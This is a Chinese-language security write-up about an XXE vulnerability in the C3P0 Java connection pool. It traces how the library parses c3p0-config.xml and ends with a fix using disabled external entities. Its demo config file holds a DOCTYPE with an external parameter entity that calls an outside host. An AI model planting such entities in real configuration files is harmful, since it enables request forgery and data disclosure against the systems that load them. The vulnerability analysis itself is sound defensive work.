分享 | C3P0數據庫連接池XXE漏洞
分享 | C3P0數據庫連接池XXE漏洞
數據庫連接池負責分配、管理和釋放數據庫連接,它允許應用程序重復使用一個現有的數據庫連接,而不是再重新建立一個;釋放空閑時間超過最大空閑時間的數據庫連接來避免因為沒有釋放數據庫連接而引起的數據庫連接遺漏。這項技術能明顯提高對數據庫操作的性能。常見的數據庫連接池有C3P0、DBCP(Apache的JAVA數據庫連接池項目,Tomcat默認數據源就是DBCP)、Druid(阿里出品,淘寶和支付寶專用數據庫連接池)等。
C3P0的官網為:
https://www.mchange.com/projects/c3p0
你可以在
https://www.mchange.com/projects/c3p0/apidocs/index.html 查看C3P0的API文檔。
先貼上Demo主要代碼
public class App {
public static void main(String[] args) {
//初始化User對象,然后調用userLogin()方法
UserDao userDao = new UserDaoImpl();
User user = new User();
user.setUsername("admin");
user.setPassword("123456");
boolean flag = userDao.userLogin(user);
System.out.println(flag);
}
}
UserDaoImpl 類:
public class UserDaoImpl implements UserDao {
JdbcTemplate jdbcTemplate = C3P0Util.getJdbcTemplate();
@Override
public boolean userLogin(User user) {
String sql = "select * from users where username = ? and password = ?";
SqlRowSet sqlRowSet = jdbcTemplate.queryForRowSet(sql, new Object[] {user.getUsername(),user.getPassword()});
if(sqlRowSet.next()) {
return true;
}else {
return false;
}
}
}
C3P0Util類
public class C3P0Util {
static ComboPooledDataSource dataSource = new ComboPooledDataSource();
public static JdbcTemplate getJdbcTemplate() {
JdbcTemplate jdbcTemplate = new JdbcTemplate();
jdbcTemplate.setDataSource(dataSource);
return jdbcTemplate;
}
}
c3p0-config.xml
<?xml version='1.0' encoding='utf-8' standalone='yes'?>
<!DOCTYPE root[
<!ENTITY % d SYSTEM "http://www.zhutougg.com/aaaaaaaaaaaaaaa">
%d;]>
<c3p0-config>
<default-config>
<property name="driverClass">com.mysql.jdbc.Driver</property>
<property name="jdbcUrl">jdbc:mysql://127.0.0.1:3306/note</property>
<property name="user">root</property>
<property name="password">root</property>
</default-config>
</c3p0-config>
我們在
ComboPooledDataSource dataSource = new ComboPooledDataSource()這一行代碼打上斷點,然后進行調試。
由入口ComboPooledDataSource類開始
調用父類AbstractPoolBackedDataSource
的AbstractPoolBackedDataSource()方法
再調用父類
PoolBackedDataSourceBase的PoolBackedDataSourceBase()方法
但是在執行該方法前,會先初始化dataSourceName變量
跟進
C3P0Config.initializeStringPropertyVar()方法,發現C3P0Config類有個靜態代碼塊
調用了C3P0ConfigFinder接口的findConfig()方法,C3P0ConfigFinder接口只有一個實現類DefaultC3P0ConfigFinder
C3P0ConfigXmlUtils.extractXmlConfigFromDefaultResource()
再調用
C3P0ConfigXmlUtils.extractXmlConfigFromInputStream(InputStream)方法,即讀取常量XML_CONFIG_RSRC_PATH = "/c3p0-config.xml" 進行初始化,導致了XXE漏洞
運行效果圖如下:
在使用XML解析器時需要設置禁止使用外部實體。以DocumentBuilderFactory為例
DocumentBuilderFactory fact = DocumentBuilderFactory.newInstance();
fact.setExpandEntityReferences(false);
DocumentBuilder db = fact.newDocumentBuilder();
參考鏈接:
https://github.com/zhutougg/c3p0/commit/2eb0ea97f745740b18dd45e4a909112d4685f87b